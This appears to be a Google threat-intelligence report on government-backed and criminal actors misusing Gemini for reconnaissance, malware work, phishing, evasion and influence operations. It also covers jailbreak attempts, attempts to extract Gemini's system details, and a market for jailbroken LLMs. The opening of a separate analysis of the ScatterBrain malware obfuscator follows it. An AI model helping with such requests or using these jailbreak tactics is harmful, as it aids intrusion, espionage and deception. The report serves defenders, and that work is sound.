Jailbreaks are one type of Prompt Injection attack, causing an AI model to behave in ways that they've been trained to avoid (e.g., outputting unsafe content or leaking sensitive information). Prompt Injections generally cause the LLM to execute malicious "injected" instructions as part of data that were not meant to be executed by the LLM. 

Controls against prompt injection include input/output validation and sanitization as well as adversarial training and testing. Training, tuning, and evaluation processes also help fortify models against prompt injection.

Example of a jailbreak prompt publicly available on GitHub

Some malicious actors unsuccessfully attempted to prompt Gemini for guidance on abusing Google products, such as advanced phishing techniques for Gmail, assistance coding a Chrome infostealer, and methods to bypass Google's account creation verification methods. These attempts were unsuccessful. Gemini did not produce malware or other content that could plausibly be used in a successful malicious campaign. Instead, the responses consisted of safety-guided content and generally helpful, neutral advice about coding and cybersecurity. In our continuous work to protect Google and our users, we have not seen threat actors either expand their capabilities or better succeed in their efforts to bypass Google's defenses.

Findings: Government-Backed Threat Actors Misusing Gemini

At a Glance: Government-Backed Attackers

Government-backed attackers attempted to use Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities, such as defense evasion in a target environment. 

• Iran: Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes, including research on defense organizations, vulnerability research, and creating content for campaigns. APT42 focused on crafting phishing campaigns, conducting reconnaissance on defense experts and organizations, and generating content with cybersecurity themes. 
• China: Chinese APT actors used Gemini to conduct reconnaissance, for scripting and development, to troubleshoot code, and to research how to obtain deeper access to target networks. They focused on topics such as lateral movement, privilege escalation, data exfiltration, and detection evasion. 
• North Korea: North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as the South Korean military and cryptocurrency. Of note, North Korean actors also used Gemini to draft cover letters and research jobs—activities that would likely support North Korea's efforts to place clandestine IT workers at Western companies. 
• Russia: With Russian APT actors, we observed limited use of Gemini during the period of analysis. Their Gemini use focused on coding tasks, including converting publicly available malware into another coding language and adding encryption functions to existing code.

Google analyzed Gemini activity associated with known APT actors and identified APT groups from more than 20 countries that used Gemini. The highest volume of usage was from Iran and China. APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. The top use cases by APT actors focused on: 

• Assistance with coding tasks, including troubleshooting, tool and script development and converting or rewriting existing code 

• Vulnerability research focused on publicly reported vulnerabilities and specific CVEs 

• General research on various technologies, translations and technical explanations 

• Reconnaissance about likely targets, including details about specific organizations 

• Enabling post-compromise activity, such seeking advice on techniques to evade detection, escalate privileges or conduct internal reconnaissance in a target environment

We observed APT actors use Gemini attempting to support all phases of the attack lifecycle.

Attack Lifecycle

Topics of Gemini Usage

Reconnaissance

Attacker gathers information about the target

Iran

• Recon on experts, international defense organizations, government organizations

• Topics related to Iran-Israel proxy conflict

North Korea

• Research on companies across multiple sectors and geos

• Recon on US military and operations in South Korea 

• Research free hosting providers

China

• Research on US military, US-based IT service providers 

• Understand public database of US intelligence personnel  

• Research on target network ranges; determine domain names of targets 

Weaponization

Attacker develops or acquires tools to exploit target

• Develop webcam recording code in C++

• Convert Chrome infostealer function from Python to Node.js

• Rewrite publicly available malware into another language

• Add AES encryption functionality to provided code

Delivery

Attacker delivers weaponized exploit or payload to the target system

• Better understanding advanced phishing techniques

• Generating content for targeting a US defense organization

• Generating content with cybersecurity and AI themes

Exploitation

Attacker exploits vulnerability to gain access

• Reverse engineer endpoint detection and response (EDR) server components for health check and authentication

• Access Microsoft Exchange using password hash

• Research vulnerabilities in WinRM protocol

• Understand publicly reported vulnerabilities, including Internet of Things (IoT) bugs

Installation

Attacker installs tools or malware to maintain access

• Sign an Outlook Visual Studio Tools for Office (VSTO) plug-in and deploy it silently to all computers

• Add a self-signed certificate to Active Directory

• Research Mimikatz for Windows 11

• Research Chrome extensions that provide parental controls and monitoring

Command and control (C2)

Attacker establishes communication channel with the compromised system

• Generate code to remotely access Windows Event Log

• Active Directory management commands

• JSON Web Token (JWT) security and routing rules in Ruby on Rails

• Character encoding issues in smbclient

• Command to check IPs of admins on the domain controller

Actions on objectives

Attacker achieves their intended goal such as data theft or disruption

• Automate workflows with Selenium (e.g. logging into compromised account)

• Generate a PHP script to extract emails from Gmail into electronic mail (EML) files

• Upload large files to OneDrive

• Solution to TLS 1.3 visibility challenges

Iranian Government-Backed Actors 

Iranian government-backed actors accounted for the largest Gemini use linked to APT actors. Across Iranian government-backed actors, we observed a broad scope of research and use cases, including to enable reconnaissance on targets, for research into publicly reported vulnerabilities, to request translation and technical explanations, and to create content for possible use in future campaigns. Their use reflected strategic Iranian interests including research focused on defense organizations and experts, defense systems, foreign governments, individual dissidents, the Israel-Hamas conflict, and social issues in Iran.

At a Glance: Iranian APT Actors Using Gemini

• Over 10 Iran-backed groups observed using Gemini
• Google abuse-focused use cases: 
  • • Researching methods for extracting data from Android devices, including SMS messages, accounts, contacts, and social media accounts
• Example use cases: 
  • • Coding and scripting 
      • • PowerShell and Linux commands
        • Python code for website scraping
        • Debugging and improving a Ghidra script 
        • Developing PHP scripts to collect and store user IP addresses and browser information in a MySQL database
        • Assistance with C# programming
        • Modifying assembly code 
        • Help understanding error messages
    • Vulnerability research
      • • Research on specific CVEs and technologies, such as WinRM and IoT devices
        • Exploitation techniques and proof-of-concept code 
        • Research on server-side request forgery (SSRF) exploitation techniques
        • Research on the open-source router exploitation tool RomBuster 
    • Research about organizations 
      • • International defense organizations
        • Military and government organizations 
        • Cybersecurity companies
        • International organizations that monitor development of advanced weapons
    • Research about warfare defenses
      • • Information on the Iran-Israel proxy conflict
        • Unmanned aerial vehicles (UAV)
        • Anti-drone systems
        • Satellite technology
        • Remote sensing technology
        • Israel defense systems
    • Generating content
      • • Generating content with cybersecurity and AI themes 
        • Tailoring content to target a defense organization
        • Translating various texts into Farsi, Hebrew, and English

Crafting Phishing Campaigns 

Over 30% of Iranian APT actors' Gemini use was linked to APT42. APT42's Gemini activity reflected the group's focus on crafting successful phishing campaigns. We observed the group using Gemini to conduct reconnaissance into individual policy and defense experts, as well as organizations of interest for the group. 

In addition to reconnaissance, APT42 used the text generation and editing capabilities of Gemini to craft material for phishing campaigns, including generating content with cybersecurity themes and tailoring the output to a US defense organization. APT42 also utilized Gemini for translation including localization, or tailoring content for a local audience. This includes content tailored to local culture and local language, such as asking for translations to be in fluent English.

Vulnerability Research

The majority of APT42's efforts focused on research into publicly known vulnerabilities, such as a request to generate a list of critical vulnerabilities from 2023. They also focused on vulnerabilities in specific products such as Mikrotik, Apereo, and Atlassian.

Of note, APT42 appeared to be researching how to use generative AI tools for offensive purposes, asking Gemini for help preparing training content for a red team focused on how offensive teams can use AI tools in their operations.  

Research Into Military and Weapons Systems 

APT42 also appears to have used Gemini's translation and explanation functions to better understand publicly available information on defense systems. Their efforts included general research into the Israel-Hamas conflict, as well as strategic trends in China's defense industry. The threat actor also used Gemini for technical explanations about US-made aerospace systems.

Another Iranian APT group also focused on understanding warfare defenses including specific research into satellite signal jamming and anti-drone systems. Other Iranian APT actors researched specific defense systems, including researching information about specific unmanned aerial vehicle (UAV) models, jamming F-35 fighter jets, anti-drone systems, and Israel's missile defense systems. 

People’s Republic of China (PRC) Government-Backed Actors

Government-backed actors linked to the People's Republic of China (PRC) attempted to use Gemini to enable reconnaissance on targets, for scripting and development, to request translation and explanation of technical concepts, and attempting to enable deeper access to a network following initial compromise. PRC threat actors' usage resembled an IT admin seeking to streamline, troubleshoot, or automate their tasks. In a malicious context, however, this activity could be used to enable lateral movement, privilege escalation, data exfiltration, and detection evasion.

At a Glance: People's Republic of China APT Actors Using Gemini

• Over 20 China-backed groups observed using Gemini
• Notable use cases: 
  • • Reconnaissance
      • • Research US military and US-based IT organizations
        • Gather US government network ranges
        • Understand publicly available information about US intelligence community personnel 
        • Determine domain names of targets spanning eight countries, mostly government agencies
        • Access Microsoft Exchange using password hash
    • Vulnerability research
      • • Reverse engineer Carbon Black EDR's server components for health check and authentication
    • Scripting and development
      • • Generate code to remotely access Windows Event Log
        • Active Directory management commands
    • Translation and explanation
      • • Understand graph databases (Nebula Graph)
        • Solutions to TLS 1.3 visibility challenges
        • Understand a malicious PHP script
        • Web JWT security and routing rules in Ruby on Rails
    • Deeper system access and post-compromise actions 
      • • Sign an Outlook VSTO plug-in and deploy it silently to all computers
        • Add a self-signed certificate to Active Directory
        • Upload large files to OneDrive
        • Character encoding issues in smbclient
        • Command to check IPs of admins on the Domain Controller
        • Record passwords on the VMware vCenter
        • Impacket troubleshooting

Enabling Deeper Access in a Target Network 

PRC-backed APT actors also used Gemini to work through scripting and development tasks, many of which appeared intended to enable deeper access in a target network after threat actors obtained initial access. For example, one PRC-backed group asked Gemini for assistance figuring out how to sign a plugin for Microsoft Outlook and silently deploy it to all computers. The same actor also asked Gemini to generate code to remotely access Windows Event Log; sought instructions on how to add a self-signed certificate to Active Directory; and asked Gemini for a command to identify the IP addresses of administrators on the domain controller. Other actors used Gemini for help troubleshooting Chinese character encoding issues in smbclient and how to record passwords on the VMware vCenter. 

In another example, PRC-backed APT actors asked Gemini for assistance with Active Directory management commands and requested help troubleshooting impacket, a Python-based tool for working with network protocols. While impacket is commonly used for benign purposes, the context of the threat actor made it clear that the actor was using the tool for malicious purposes. 

Explaining Tools, Concepts, and Code 

PRC actors utilized Gemini to learn about specific tools and technologies and develop solutions to technical challenges. For example, a PRC APT actor used Gemini to break down how to use the graph database Nebula Graph. In another instance, the same actor used Gemini to offer possible solutions to TLS 1.3 visibility challenges. Another PRC-backed APT group sought to understand a malicious PHP script. 

Vulnerability Research and Reverse Engineering

In one case, a PRC-backed APT actor attempted unsuccessfully to get Gemini's help reverse engineering the endpoint detection and response (EDR) tool Carbon Black. The same threat actor copied disassembled Python bytecode into Gemini to convert the bytecode into Python code. It's not clear what their objective was. 

Unsuccessful Attempts to Elicit Internal System Information From Gemini

In one case, the PRC-backed APT actor APT41 attempted unsuccessfully to use Gemini to learn about Gemini's underlying infrastructure and systems. The actor asked Gemini to share details such as its IP address, kernel version, and network configuration. Gemini responded but did not disclose sensitive information. In a helpful tone, the responses provided publicly available details that would be widely known about the topic, while also indicating that the requested information is kept secret to prevent unauthorized access. 

North Korean Government-Backed Actors

North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as South Korean nuclear technology and cryptocurrency. We also observed that North Korean actors were using LLMs in likely attempts to enable North Korea's efforts to place clandestine IT workers at Western companies.

At a Glance: North Korean APT Actors Using Gemini

• Nine North Korea-backed groups observed using Gemini
• Google-focused use cases: 
  • • Research advanced techniques for phishing Gmail
    • Scripting to steal data from compromised Gmail accounts
    • Understanding a Chrome extension that provides parental controls (capable of taking screenshots, keylogging)
    • Convert Chrome infostealer function from Python to Node.js
    • Bypassing restrictions on Google Voice 
    • Generate code snippets for a Chrome extension 
• Notable use cases: 
  • • Enabling clandestine IT worker scheme 
      • • Best Discord servers for freelancers
        • Exchange with overseas employees 
        • Jobs on LinkedIn 
        • Average salary
        • Drafting work proposals
        • Generate cover letters from job postings
    • Research on topics 
      • • Free hosting providers 
        • Cryptocurrency
        • Operational technology (OT) and industrial networks 
        • Nuclear technology and power plants in South Korea
        • Historic cyber events (e.g., major worms and DDoS attacks; Russia-Ukraine conflict) and cyber forces of foreign militaries
    • Research about organizations 
      • • Companies across 11 sectors and 13 countries
        • South Korean military 
        • US military 
        • German defense organizations
    • Malware development 
    • Evasion techniques
    • Automating workflows for logging into compromised accounts 
    • Understanding Mimikatz for Windows 11 
    • Scripting and troubleshooting

Clandestine IT Worker Threat

North Korean APT actors used Gemini to draft cover letters and research jobs—activities that would likely support efforts by North Korean nationals to use fake identities and obtain freelance and full-time jobs at foreign companies while concealing their true identities and locations. One North Korea-backed group utilized Gemini to draft cover letters and proposals for job descriptions, researched average salaries for specific jobs, and asked about jobs on LinkedIn. The group also used Gemini for information about overseas employee exchanges. Many of the topics would be common for anyone researching and applying for jobs. 

While normally employment-related research would be typical for any job seeker, we assess the usage is likely related to North Korea's ongoing efforts to place clandestine workers in freelance gigs or full-time jobs at Western firms. The scheme, which involves thousands of North Korean workers and has affected hundreds of US-based companies, uses IT workers with false identities to complete freelance work and send wages back to the North Korean regime.

North Korea’s AI toolkit 

Outside of their use of Gemini, North Korean cyber threat actors have shown a long-standing interest in AI tools. They likely use AI applications to augment malicious operations and improve efficiency and capabilities, and for producing content to support their campaigns, such as phishing lures and profile photos for fake personas. We assess with high confidence that North Korean cyber threat actors will continue to demonstrate an interest in these emerging technologies for the foreseeable future. 

DPRK IT Workers

We have observed DPRK IT Workers leverage accounts on assistive writing tools, Monica (monica.im) and Ahrefs (ahrefs.com), which could potentially aid the group's work despite a lack of language fluency. Additionally, the group has maintained accounts on Data Annotation Tech, a company hiring individuals to train AI models. Notably, a profile photo used by a suspected IT worker bore a noticeable resemblance to multiple different images on the internet, suggesting that a manipulation tool was used to generate the threat actor's profile photo. 

APT43

Google Threat Intelligence Group (GTIG) has detected evidence of APT43 actors accessing multiple publicly available LLM tools; however, the intended purpose is not clear. Based on the capabilities of these platforms and historical APT43 activities, it is possible these applications could be used in the creation of rapport-building emails, lure content, and malicious PowerShell and scripting efforts. 

• GTIG has detected APT43 actors reference publicly available AI chatbot tools alongside the topic "북핵 해결" (translation: "North Korean nuclear issue solution"), indicating the group is using AI applications to conduct technical research as well as open-source analysis on South Korean foreign and military affairs and nuclear issues. 

• GTIG has identified APT43 actors accessing multiple publicly available AI image generation tools, including tools used for image manipulation and creating realistic-looking human portraits. 

Target Research and Reconnaissance

North Korean actors also engaged with Gemini with several questions that appeared focused on conducting initial research and reconnaissance into prospective targets. They also researched organizations and industries that are typical targets for North Korean actors, including the US and South Korean militaries and defense contractors. One North Korean APT group asked Gemini for information about companies and organizations across a variety of industry sectors and regions. Some of this Gemini usage related directly to organizations that the same group had attempted to target in phishing and malware campaigns that Google previously detected and disrupted.

In addition to research into companies, North Korean APT actors researched nuclear technology and power plants in South Korea, such as site locations, recent news articles, and the security status of the plants. Gemini responded with widely available, public information and facts that would be easily discoverable in an online search. 

Help with Scripting, Payload Development, Defense Evasion 

North Korean actors also tried to use Gemini to assist with development and scripting tasks. One North Korea-backed group attempted to use Gemini to help develop webcam recording code in C++. Gemini provided multiple versions of code, and repeated efforts by the actor potentially suggested their frustration by Gemini's answers. The same group also asked Gemini to generate a robots.txt file to block crawlers and an .htaccess file to redirect all URLs except CSS extensions. 

One North Korean APT actor used Gemini for assistance developing code for sandbox evasion. For example, the threat actor utilized Gemini to write code in C++ to detect VM environments and Hyper-V virtual machines. Gemini provided responses with short code snippets to perform simple sandbox checks. The same group also sought help troubleshooting Java errors when implementing AES encryption, and separately asked Gemini if it is possible to acquire a system password on Windows 11 using Mimikatz. 

Russian Government-Backed Actors 

During the period of analysis, we observed limited use of Gemini by Russia-backed APT actors. Of this limited use, the majority of usage appeared benign, rather than threat-enabling. The reasons for this low engagement are unclear. It is possible Russian actors avoided Gemini out of operational security considerations, staying off Western-controlled platforms to avoid monitoring of their activities. They may be using AI tools produced by Russian firms or locally hosting LLMs, which would ensure full control of their infrastructure. Alternatively, they may have favored other Western LLMs.

One Russian government-backed group used Gemini to request help with a handful of tasks, including help rewriting publicly available malware into another language, adding encryption functionality to code, and explanations for how a specific block of publicly available malicious code functions.

At a Glance: Russian APT Actors Using Gemini

• Three Russia-backed groups observed using Gemini
• Notable use cases: 
  • • Scripting
      • • Help rewriting public malware into another language
    • Payload crafting
      • • Add AES encryption functionality to provided code
    • Translation and explanation 
      • • Understand how some public malicious code works

Financially Motivated Actors Using LLMs

Threat actors in underground marketplaces are advertising ways to bypass security guardrails to help LLMs with malware development, phishing, and other malicious tasks. The offerings include jailbroken LLMs that are ready-made for malicious use. 

Throughout 2023 and 2024, Google Threat Intelligence Group (GTIG) observed underground forum posts related to LLMs, indicating there is a burgeoning market for nefarious versions of LLMs. Some advertisements boast customized and jailbroken LLMs that don't have restrictions for malware development purposes, or they tout a lack of security measures typically found on legitimate services, allowing the user to prompt the LLM about any topic or task without incurring security guardrails or limits on their queries. Examples include FraudGPT, which has been advertised on Telegram as having no limitations, and WormGPT, a privacy focused, "uncensored" LLM capable of developing malware.   

Financially motivated actors are using LLMs to help augment business email compromise (BEC) operations. GTIG has noted evidence of financially motivated actors using manipulated video and voice content in business email compromise (BEC) scams. Media reports indicate that financially motivated actors have reportedly used WormGPT to create more persuasive BEC messages.

Findings: Information Operations (IO) Actors Misusing Gemini

At a Glance: Information Operations Actors 

IO actors attempted to use Gemini for research, content generation, translation and localization, and to find ways to increase their reach.

• Iran: Iranian IO actors used Gemini for a wide range of tasks, accounting for three quarters of all IO prompts. They used Gemini for content creation and manipulation, including generating articles, rewriting text with a specific tone, and optimizing it for better reach. Their activity also focused on translation and localization, adapting content for different audiences, and for general research into news, current events, and political issues. 
• China: Pro-China IO actors used Gemini primarily for general research on various topics, including a variety of topics of strategic interest to the Chinese government. The most prolific IO actor we track, DRAGONBRIDGE, was responsible for the majority of this activity. They also used Gemini to research current events and politics, and in a few cases, they used Gemini to generate articles or content on specific topics.
• Russia: Russian IO actors used Gemini primarily for general research, content creation, and translation. For example, their use involved assistance drafting content, rewriting article titles, and planning social media campaigns. Some activity demonstrated an interest in developing AI capabilities, asking for information on tools for creating online AI chatbots, developer tools for interacting with LLMs, and options for textual content analysis.

IO actors used Gemini for research, content generation including developing personas and messaging, translation and localization, and to find ways to increase their reach. Common use cases include general research into news and current events as well as specific research into individuals and organizations. In addition to creating content for campaigns, including personas and content, the actors researched increasing the efficacy of campaigns, including automating distribution, using search engine optimization (SEO) to optimize the reach of campaigns, and increasing operational security. As with government-backed groups, IO actors also used Gemini for translation and localization and for understanding the meanings or context of content. 

Iran-Linked Information Operations Actors

Iran-based information operations (IO) groups used Gemini for a wide range of tasks, including general research, translation and localization, content creation and manipulation, and generating content with a specific bias or tone. We also observed Iran-based IO actors engage with Gemini about news events and ask Gemini to provide details on economic and political issues in Iran, the US, the Middle East, and Europe.

In line with their practice of mixing original and borrowed content, Iranian IO actors translated existing material, including news-like articles. They then used Gemini to explain the context and meaning of particular phrases within the given text.

Iran-based IO actors also used Gemini to localize the content, seeking human-like translation and asking Gemini for help with tasks like making the text sound like a native English speaker. They used Gemini to manipulate text (e.g., asking for help rewriting existing text on immigration and crime in a specific style or tone). 

Iran's activity also included research about improving the reach of their campaigns. For example, they attempted to generate SEO-optimized content, likely in an effort to reach a larger audience. Some actors also used Gemini to suggest strategies for increasing engagement on social media.

At a Glance: Iran-Linked IO Actors Using Gemini

• Eight Iran-linked IO groups observed using Gemini 
• Example use cases: 
  • • Content creation - text 
      • • Generate article titles
        • Generate SEO-optimized content and titles
        • Draft a report critical of Bahrain 
        • Draft titles and hashtags in English and Farsi for videos that are catchy or create urgency to watch the content
        • Draft titles and descriptions promoting Islam
    • Translation - content in / out of native language
      • • Translate into Farsi-provided texts about a variety of topics, including the Iranian election, human rights, international law, Islam, and other topics
        • Translate Farsi-language idioms and proverbs to other languages
        • Translate news about the US economy, US government, and politics into Farsi, using a specified tone
        • Draft a French-language headline to get viewers to engage with specific content
    • Content manipulation - copy editing to refine content
      • • Reformulate specific text about Sharia law
        • Paraphrase content describing specific improvements to Iran's export economy
        • Rewrite a provided text about diplomacy and economic challenges with countries like China and Germany
        • Provide synonyms for specific words or phrases
        • Rewrite provided text about Islam and Iraq in different styles or tones
        • Proofread provided content 
    • Content creation - biased text
      • • Generate or reformulate text to criticize a government minister and other individuals for failures or other actions
        • Describe how a popular American TV show perpetuates harmful stereotypes
        • Generate Islam-themed titles for thumbnail previews on social media
    • General research - news and events
      • • Provide an overview of current events in specific regions
        • Research about the Iran-Iraq war
        • Define specific terms
        • Suggest social media channels for information about Islam and the Quran
        • Provide information on countries' policies toward the Middle East
    • Create persona - photo generation
      • • Create a logo

PRC-Linked Information Operations Actors

IO actors linked to the People's Republic of China (PRC) used Gemini primarily for general research on a wide variety of topics. The most prolific IO actor we track, the pro-China group DRAGONBRIDGE, was responsible for approximately three quarters of this activity. Of their activity, the majority use was general research about a wide variety of topics, ranging from details about the features of various social media platforms to questions about various topics of strategic interest to the PRC government. Actors researched information on current events and politics in other regions, with a focus on the US and Taiwan. They also showed interest in assessing the impact and risk of certain events. In a handful of cases, DRAGONBRIDGE used Gemini to generate articles or content on specific topics.

At a Glance: PRC-Linked IO Actors Using Gemini

• Three PRC-linked IO groups observed using Gemini 
• Example use cases: 
  • • General research - political and social topics
      • • Research about specific countries, organizations, and individuals 
        • Research relations between specific countries and China
        • Research on topics sensitive to the the Chinese government (e.g., five poisons) 
        • Research on Taiwanese politicians and their actions toward China
        • Research on US politics and political figures and their attitudes on China
        • Research foreign press coverage about China
        • Summarize key takeaways from a video
    • General research - technology 
      • • Compare functionality and features of different social media platforms 
        • Explain technical concepts and suggestions for useful tools
    • Translation - content in / out of native language 
      • • Translate and summarize text between Chinese and other languages 
    • Content creation - text
      • • Draft articles on topics such as the use of AI and social movements in specific regions
        • Generate a summary of a movie trailer about a Chinese dissident
    • Create persona - text generation
      • • Generate a company profile for a media company

DRAGONBRIDGE has experimented with other generative AI tools to create synthetic content in support of their IO campaigns. As early as 2022, the group used a commercial AI service in videos on YouTube to depict AI-generated news presenters. Their use of AI-generated video continued through 2024 but has not resulted in significantly higher engagement from real viewers. Google detected and terminated the channels distributing this content immediately upon discovery. DRAGONBRIDGE's use of AI-generated videos or images has not resulted in significantly higher engagement from real viewers.

Russia-Linked Information Operations Actors

Russian IO actors used Gemini for general research, content creation, and translation. Half of this activity was associated with the Russian IO actor we track as KRYMSKYBRIDGE, which is linked to a Russian consulting firm that works with the Russian government. Approximately 40% of activity was linked to actors associated with Russian state sponsored entities formerly controlled by the late Russian oligarch Yevgeny Prigozhin. We also observed usage by actors tracked publicly as Doppelganger. 

The majority of Russian IO actor usage was related to general research tasks, ranging from the Russia-Ukraine war to details about various tools and online services. Russian IO actors also used Gemini for content creation, rewriting article titles and planning social media campaigns. Translation to and from Russian was also a common task. 

Russian IO actors focused on the generative AI landscape, which may indicate an interest in developing native capabilities in AI on infrastructure they control. They researched tools that can be used to create an online AI chatbot and developer tools for interacting with LLMs. One Russian IO actor used Gemini to suggest options for textual content analysis. 

Pro-Russia IO actors have used AI in their influence campaigns in the past. In 2024, the actor known as CopyCop likely used LLMs to generate content, and some stories on their sites included metadata indicating an LLM was prompted to rewrite articles from genuine news sources with a particular political perspective or tone. CopyCop's inauthentic news sites pose as US- and Europe-based news outlets and post Kremlin-aligned views on Western policy, the war in Ukraine, and domestic politics in the US and Europe.

At a Glance: Russia-Linked IO Actors Using Gemini

• Four Russia-linked IO groups observed using Gemini
• Example use cases: 
  • • General research
      • • Research into the Russia-Ukraine war 
        • Explain subscription plans and API details for online services
        • Research on different generative AI platforms, software, and systems for interacting with LLMs 
        • Research on tools and methods for creating an online chatbot 
        • Research tools for content analysis  
    • Translation - content in / out of native language
      • • Translate technical and business terminology into Russian 
        • Translate text to/from Russian
    • Content creation - text 
      • • Draft a proposal for a social media agency 
        • Rewrite article titles to garner more attention 
    • Plan and strategize campaigns 
      • • Develop content strategy for different social media platforms and regions  
        • Brainstorm ideas for a PR campaign and accompanying visual designs

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. To us, that means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities, and creates new evaluation and training techniques to address misuse caused by them. In conjunction with this research, DeepMind has shared how they're actively deploying defenses within AI systems along with measurement and monitoring tools, one of which is a robust evaluation framework used to automatically red team an AI system's vulnerability to indirect prompt injection attacks. Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, and red teaming to test and secure AI systems. 

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Written by: Nino Isakovic

Introduction

Since 2022, Google Threat Intelligence Group (GTIG) has been tracking multiple cyber espionage operations conducted by China-nexus actors utilizing POISONPLUG.SHADOW. These operations employ a custom obfuscating compiler that we refer to as "ScatterBrain," facilitating attacks against various entities across Europe and the Asia Pacific (APAC) region. ScatterBrain appears to be a substantial evolution of ScatterBee, an obfuscating compiler previously analyzed by PWC.

GTIG assesses that POISONPLUG is an advanced modular backdoor used by multiple distinct, but likely related threat groups based in the PRC, however we assess that POISONPLUG.SHADOW usage appears to be further restricted to clusters associated with APT41.

GTIG currently tracks three known POISONPLUG variants:

• POISONPLUG
• POISONPLUG.DEED
• POISONPLUG.SHADOW

POISONPLUG.SHADOW—often referred to as "Shadowpad," a malware family name first introduced by Kaspersky—stands out due to its use of a custom obfuscating compiler specifically designed to evade detection and analysis. Its complexity is compounded by not only the extensive obfuscation mechanisms employed but also by the attackers' highly sophisticated threat tactics. These elements collectively make analysis exceptionally challenging and complicate efforts to identify, understand, and mitigate the associated threats it poses.

In addressing these challenges, GTIG collaborates closely with the FLARE team to dissect and analyze POISONPLUG.SHADOW. This partnership utilizes state-of-the-art reverse engineering techniques and comprehensive threat intelligence capabilities required to mitigate the sophisticated threats posed by this threat actor. We remain dedicated to advancing methodologies and fostering innovation to adapt to and counteract the ever-evolving tactics of threat actors, ensuring the security of Google and our customers against sophisticated cyber espionage operations.

Overview

In this blog post, we present our in-depth analysis of the ScatterBrain obfuscator, which has led to the development of a complete stand-alone static deobfuscator library independent of any binary analysis frameworks. Our analysis is based solely on the obfuscated samples we have successfully recovered, as we do not possess the obfuscating compiler itself. Despite this limitation, we have been able to comprehensively infer every aspect of the obfuscator and the necessary requirements to break it. Our analysis further reveals that ScatterBrain is continuously evolving, with incremental changes identified over time, highlighting its ongoing development.

This publication begins by exploring the fundamental primitives of ScatterBrain, outlining all its components and the challenges they present for analysis. We then detail the steps required to subvert and remove each protection mechanism, culminating in our deobfuscator. Our library takes protected binaries generated by ScatterBrain as input and produces fully functional deobfuscated binaries as output.

By detailing the inner workings of ScatterBrain and sharing our deobfuscator, we hope to provide valuable insights into developing effective countermeasures. Our blog post is intentionally exhaustive, drawing from our experience in dealing with obfuscation for clients, where we observed a significant lack of clarity in understanding modern obfuscation techniques. Similarly, analysts often struggle with understanding even relatively simplistic obfuscation methods primarily because standard binary analysis tooling is not designed to account for them. Therefore, our goal is to alleviate this burden and help enhance the collective understanding against commonly seen protection mechanisms.

For general questions about obfuscating compilers, we refer to our previous work on the topic, which provides an introduction and overview.

ScatterBrain Obfuscator Introduction

ScatterBrain is a sophisticated obfuscating compiler that integrates multiple operational modes and protection components to significantly complicate the analysis of the binaries it generates. Designed to render modern binary analysis frameworks and defender tools ineffective, ScatterBrain disrupts both static and dynamic analyses.

• Protection Modes: ScatterBrain operates in three distinct modes, each determining the overall structure and intensity of the applied protections. These modes allow the compiler to adapt its obfuscation strategies based on the specific requirements of the attack.
• Protection Components: The compiler employs key protection components that include the following:
  • Selective or Full Control Flow Graph (CFG) Obfuscation: This technique restructures the program's control flow, making it very difficult to analyze and create detection rules for.
  • Instruction Mutations: ScatterBrain alters instructions to obscure their true functionality without changing the program's behavior.
  • Complete Import Protection: ScatterBrain employs a complete protection of a binary's import table, making it extremely difficult to understand how the binary interacts with the underlying operating system.

These protection mechanisms collectively make it extremely challenging for analysts to deconstruct and understand the functionality of the obfuscated binaries. As a result, ScatterBrain poses a formidable obstacle for cybersecurity professionals attempting to dissect and mitigate the threats it generates.

Modes of Operation

A mode refers to how ScatterBrain will transform a given binary into its obfuscated representation. It is distinct from the actual core obfuscation mechanisms themselves and is more about the overall strategy of applying protections. Our analysis further revealed a consistent pattern in applying various protection modes at specific stages of an attack chain:

• Selective: A group of individually selected functions are protected, leaving the remainder of the binary in its original state. Any import references within the selected functions are also obfuscated. This mode was observed to be used strictly for dropper samples of an attack chain.
• Complete: The entirety of the code section and all imports are protected. This mode was applied solely to the plugins embedded within the main backdoor payload.
• Complete "headerless": This is an extension of the Complete mode with added data protections and the removal of the PE header. This mode was exclusively reserved for the final backdoor payload.

Selective

The selective mode of protection allows users of the obfuscator to selectively target individual functions within the binary for protection. Protecting an individual function involves keeping the function at its original starting address (produced by the original compiler and linker) and substituting the first instruction with a jump to the obfuscated code. The generated obfuscations are stored linearly from this starting point up to a designated "end marker" that signifies the ending boundary of the applied protection. This entire range constitutes a protected function.

The disassembly of a call site to a protected function can take the following from:

